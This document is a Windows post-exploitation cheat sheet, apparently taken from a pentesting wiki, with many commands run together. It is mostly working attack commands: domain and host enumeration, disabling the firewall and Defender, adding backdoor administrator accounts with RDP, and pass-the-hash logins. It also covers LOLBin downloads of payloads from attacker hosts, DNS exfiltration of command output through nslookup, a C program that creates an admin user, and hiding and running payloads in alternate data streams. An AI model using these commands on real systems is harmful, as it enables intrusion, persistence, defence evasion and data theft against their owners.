wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecturesysteminfosysteminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that informationwmic qfe get Caption,Description,HotFixID,InstalledOn #PatcheshostnameDRIVERQUERY #3rd party driver vulnerable?
set #List all environment variables
Some env variables to highlight:
COMPUTERNAME: Name of the computer
TEMP/TMP: Temp folder
USERNAME: Your username
HOMEPATH/USERPROFILE: Home directory
windir: C:\Windows
OS:Windos OS
LOGONSERVER: Name of domain controller
USERDNSDOMAIN: Domain name to use with DNS
USERDOMAIN: Name of the domain
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)wmic logicaldisk get caption,description,providername
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:Listsc query windefend#Delete all rules of Defender (useful for machines without internet access)"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
dir C:\$Recycle.Bin /s /b
schtasks /query /fo LIST /v #Verbose out of scheduled tasksschtasks /query /fo LIST 2>nul | findstr TaskNameschtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEMtasklist /V #List processestasklist /SVC #links processes to started servicesnet start #Windows Services startedwmic service list brief #List servicessc query #List of servicesdir /a "C:\Program Files" #Installed softwaredir /a "C:\Program Files (x86)" #Installed softwarereg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
echo %USERDOMAIN% #Get domain nameecho %USERDNSDOMAIN% #Get domain nameecho %logonserver% #Get name of the domain controllerset logonserver #Get name of the domain controllerset log #Get name of the domain controllernet groups /domain #List of domain groupsnet group "domain computers" /domain #List of PCs connected to the domainnet view /domain #Lis of PCs of the domainnltest /dclist:<DOMAIN> #List domain controllersnet group "Domain Controllers" /domain #List PC accounts of domains controllersnet group "Domain Admins" /domain #List users with domain admin privilegesnet localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the grup "Domain Admins" is included here)net user /domain #List all users of the domainnet user <ACCOUNT_NAME> /domain #Get information about that usernet accounts /domain #Password and lockout policynltest /domain_trust #Mapping of the trust relationships.
#Make a security query using another credentialswevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
whoami /all #All info about me, take a look at the enabled tokenswhoami /priv #Show only privilegesnet users #All usersdir /b /ad "C:\Users"net user %username% #Info about a user (me)net accounts #Information about password requirementsqwinsta #Anyone else logged in?cmdkey /list #List credentialnet user /add [username] [password] #Create user#Lauch new cmd.exe with new creds (to impersonate in network)runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted#Check current logon session as administrator using logonsessions from sysinternalslogonsessions.exelogonsessions64.exe
#Localnet localgroup #All available groupsnet localgroup Administrators #Info about a group (admins)net localgroup administrators [username] /add #Add user to administrators#Domainnet group /domain #Info about domain groupsnet group /domain <domain_group_name> #Users that belongs to the group
qwinstaklist sessions
net accounts
# Add domain user and put them in Domain Admins groupnet user username password /ADD /DOMAINnet group "Domain Admins" username /ADD /DOMAIN# Add local user and put them local Administrators groupnet user username password /ADDnet localgroup Administrators username /ADD# Add user to insteresting groups:net localgroup "Remote Desktop Users" UserLoginName /addnet localgroup "Debugger users" UserLoginName /addnet localgroup "Power users" UserLoginName /add
ipconfig /all #Info about interfacesroute print #Print available routesarp -a #Know hostsnetstat -ano #Opened ports?type C:\WINDOWS\System32\drivers\etc\hostsipconfig /displaydns | findstr "Record" | findstr "Name Host"
netsh firewall show state # FW info, open portsnetsh advfirewall firewall show rule name=allnetsh firewall show config # FW infoNetsh Advfirewall show allprofilesNetSh Advfirewall set allprofiles state off #Turn OffNetSh Advfirewall set allprofiles state on #Trun Onnetsh firewall set opmode disable #Turn Off::How to open portsnetsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139netsh firewall add portopening TCP 3389 "Remote Desktop"::Enable Remote Desktopreg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fnetsh firewall add portopening TCP 3389 "Remote Desktop"::netsh firewall set service remotedesktop enable #I found that this line is not needed::sc config TermService start= auto #I found that this line is not needed::net start Termservice #I found that this line is not needed::Enable Remote assistance:reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /fnetsh firewall set service remoteadmin enable::Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable::Connect to RDP (using hash or password)xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
net view #Get a list of computersnet view /all /domain [domainname] #Shares on the domainsnet view \\computer /ALL #List shares of a computernet use x: \\computer\share #Mount the share locallynet share #Check current shares
netsh wlan show profile #AP SSIDnetsh wlan show profile <SSID> key=clear #Get Cleartext Pass
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
ipconfig /all
arp -A
Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
Hh.exe
HH.exe http://some.url/script.ps1
Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable
Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Squirrel.exe
squirrel.exe --download [url to package]
Update.exe
Update.exe --download [url to package]
Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Wsl.exe
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
cd #Get current dircd C:\path\to\dir #Change dirdir #List current dirdir /a:h C:\path\to\dir #List hidden filesdir /s /b #Recursive list without shittime #Get current timedate #Get current dateshutdown /r /t 0 #Shutdown nowtype <file> #Cat file#Runasrunas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentialsrunas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted#Hideattrib +h file #Set Hiddenattrib -h file #Quit Hidden#Give full control over a file that you ownsicacls <FILE_PATH> /t /e /p <USERNAME>:Ficacls <FILE_PATH> /e /r <USERNAME> #Remove the permision#Recursive copy to smbxcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win#exe2bat to transform exe file in bat file#ADSdir /r #Detect ADSmore file.txt:ads.txt #read ADSpowershell (Get-Content file.txt -Stream ads.txt)
You can listen on http://+:80/Temporary_Listen_Addresses/ without being administrator.
netsh http show urlacl
Attacker (Kali) must use one of these 2 options:
sudo responder -I <iface> #Activesudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
for /f tokens _**_technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoamifor /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folderfor /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folderfor /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one#More complex commandsfor /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
You can also redirect the output, and then read it.
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txtfor /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */// When executed by Administrator this program will create a user and then add him to the administrators group// i686-w64-mingw32-gcc addmin.c -o addmin.exe// upx -9 addmin.exeint main (){int i;i=system("net users otherAcc 0TherAcc! /add");i=system("net localgroup administrators otherAcc /add");return 0;}
Taken from https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
###Add content to ADS###type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exefindstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.execertutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:tttmakecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cabprint /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exereg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.regregedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKeyexpand \\webdav\folder\file.bat c:\ADS\file.txt:file.batesentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /opowershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.execmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat### Discover ADS contecntdir /R###Extract content from ADS###expand c:\ads\file.txt:test.exe c:\temp\evil.exeesentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /omore < c:\ads\file.txt:test.exe###Executing the ADS content###* WMICwmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'* Rundll32rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMainrundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dllrundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll* Cscriptcscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"* Wscriptwscript c:\ads\file.txt:script.vbsecho GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js* Forfilesforfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"* Mavinject.exec:\windows\SysWOW64\notepad.exetasklist | findstr notepadnotepad.exe 4172 31C5CE94259D4006 2 18,476 Ktype c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"* MSHTAmshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"(Does not work on Windows 10 1903 and newer)* Control.execontrol.exe c:\windows\tasks\zzz:notepad_reflective_x64.dllhttps://twitter.com/bohops/status/954466315913310209* Create service and runsc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= autosc start evilservicehttps://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/* Powershell.exepowershell -ep bypass - < c:\temp:ttt* Powershell.exepowershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"* Powershell.exeInvoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}* Regedit.exeregedit c:\ads\file.txt:regfile.reg* Bitsadmin.exebitsadmin /create myfilebitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exebitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULLbitsadmin /RESUME myfile* AppVLP.exeAppVLP.exe c:\windows\tracing\test.txt:ha.exe* Cmd.execmd.exe - < fakefile.doc:reg32.bathttps://twitter.com/yeyint_mth/status/1143824979139579904* Ftp.exeftp -s:fakefile.txt:aaaa.txthttps://github.com/sailay1996/misc-bin/blob/master/ads.md* ieframe.dll , shdocvw.dll (ads)echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txtrundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txthttps://github.com/sailay1996/misc-bin/blob/master/ads.md* bash.exeecho calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.shbash.exe -c $(fakefile.txt:payload.sh)https://github.com/sailay1996/misc-bin/blob/master/ads.md* Regsvr32type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADSregsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS